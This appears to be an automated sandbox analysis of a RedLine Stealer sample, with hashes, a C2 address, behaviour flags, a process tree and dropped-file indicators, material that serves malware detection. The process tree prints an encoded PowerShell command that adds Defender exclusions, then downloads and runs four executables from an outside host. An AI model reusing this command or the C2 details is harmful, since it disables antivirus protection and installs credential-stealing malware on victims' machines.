Analysis

  • max time kernel
    193s
  • max time network
    208s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/01/2023, 13:27

General

  • Target

    77d29818be0d01c38545baa0bd4551c6853c224b.exe

  • Size

    365KB

  • MD5

    343adbd49e24d1bdec30f634f4055da8

  • SHA1

    77d29818be0d01c38545baa0bd4551c6853c224b

  • SHA256

    404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c

  • SHA512

    4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f

  • SSDEEP

    6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P

Score
10/10

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe
    "C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2216
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1520
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:176
        • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
          "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
          4⤵
          • Executes dropped EXE
          PID:752
        • C:\Users\Admin\AppData\Local\Temp\new2.exe
          "C:\Users\Admin\AppData\Local\Temp\new2.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3712
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
            5⤵
              PID:4680
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3712 -s 156
              5⤵
              • Program crash
              PID:2736
          • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
            "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
            4⤵
            • Executes dropped EXE
            PID:2392
          • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
            "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
            4⤵
              PID:3688
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 308
          2⤵
          • Program crash
          PID:5092
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2216 -ip 2216
        1⤵
          PID:1676
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3712 -ip 3712
          1⤵
            PID:3000

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                  Filesize

                  1.4MB

                  MD5

                  bb86a343080f9f4696c250ef31a18d9d

                  SHA1

                  43b2193dcb1d56eac73ba88a7b461822074192d6

                  SHA256

                  095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                  SHA512

                  24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                  Filesize

                  1.4MB

                  MD5

                  bb86a343080f9f4696c250ef31a18d9d

                  SHA1

                  43b2193dcb1d56eac73ba88a7b461822074192d6

                  SHA256

                  095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                  SHA512

                  24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                  Filesize

                  1.4MB

                  MD5

                  b6bbab9f72c88d07b484cc339c475e75

                  SHA1

                  f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                  SHA256

                  dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                  SHA512

                  1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                  Filesize

                  1.4MB

                  MD5

                  b6bbab9f72c88d07b484cc339c475e75

                  SHA1

                  f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                  SHA256

                  dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                  SHA512

                  1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                • C:\Users\Admin\AppData\Local\Temp\new2.exe

                  Filesize

                  464KB

                  MD5

                  990c8e3fc56a2734631b51fc61a6779a

                  SHA1

                  55a16cc67fc52cdf0690387e083955048106d48a

                  SHA256

                  d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                  SHA512

                  f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

                • C:\Users\Admin\AppData\Local\Temp\new2.exe

                  Filesize

                  464KB

                  MD5

                  990c8e3fc56a2734631b51fc61a6779a

                  SHA1

                  55a16cc67fc52cdf0690387e083955048106d48a

                  SHA256

                  d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                  SHA512

                  f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

                • memory/176-155-0x0000000007310000-0x000000000732A000-memory.dmp

                  Filesize

                  104KB

                • memory/176-143-0x0000000004D80000-0x0000000004DA2000-memory.dmp

                  Filesize

                  136KB

                • memory/176-145-0x00000000056C0000-0x0000000005726000-memory.dmp

                  Filesize

                  408KB

                • memory/176-146-0x0000000005D80000-0x0000000005D9E000-memory.dmp

                  Filesize

                  120KB

                • memory/176-147-0x0000000006DA0000-0x0000000006DD2000-memory.dmp

                  Filesize

                  200KB

                • memory/176-148-0x00000000744A0000-0x00000000744EC000-memory.dmp

                  Filesize

                  304KB

                • memory/176-149-0x0000000006D80000-0x0000000006D9E000-memory.dmp

                  Filesize

                  120KB

                • memory/176-150-0x0000000007770000-0x0000000007DEA000-memory.dmp

                  Filesize

                  6.5MB

                • memory/176-151-0x0000000007130000-0x000000000714A000-memory.dmp

                  Filesize

                  104KB

                • memory/176-152-0x00000000071A0000-0x00000000071AA000-memory.dmp

                  Filesize

                  40KB

                • memory/176-153-0x0000000007390000-0x0000000007426000-memory.dmp

                  Filesize

                  600KB

                • memory/176-154-0x0000000006130000-0x000000000613E000-memory.dmp

                  Filesize

                  56KB

                • memory/176-156-0x0000000007300000-0x0000000007308000-memory.dmp

                  Filesize

                  32KB

                • memory/176-157-0x0000000007480000-0x00000000074A2000-memory.dmp

                  Filesize

                  136KB

                • memory/176-158-0x00000000083A0000-0x0000000008944000-memory.dmp

                  Filesize

                  5.6MB

                • memory/176-141-0x0000000002740000-0x0000000002776000-memory.dmp

                  Filesize

                  216KB

                • memory/176-144-0x0000000005020000-0x0000000005086000-memory.dmp

                  Filesize

                  408KB

                • memory/176-142-0x0000000005090000-0x00000000056B8000-memory.dmp

                  Filesize

                  6.2MB

                • memory/752-163-0x0000000000820000-0x000000000098C000-memory.dmp

                  Filesize

                  1.4MB

                • memory/752-177-0x0000000006050000-0x000000000605A000-memory.dmp

                  Filesize

                  40KB

                • memory/752-165-0x0000000005210000-0x00000000052A2000-memory.dmp

                  Filesize

                  584KB

                • memory/1520-139-0x0000000000400000-0x0000000000405000-memory.dmp

                  Filesize

                  20KB

                • memory/1520-133-0x0000000000400000-0x0000000000405000-memory.dmp

                  Filesize

                  20KB

                • memory/2392-176-0x00000000021A5000-0x00000000026A9000-memory.dmp

                  Filesize

                  5.0MB

                • memory/2392-178-0x00000000021A5000-0x00000000026A9000-memory.dmp

                  Filesize

                  5.0MB

                • memory/4680-171-0x0000000000400000-0x0000000000420000-memory.dmp

                  Filesize

                  128KB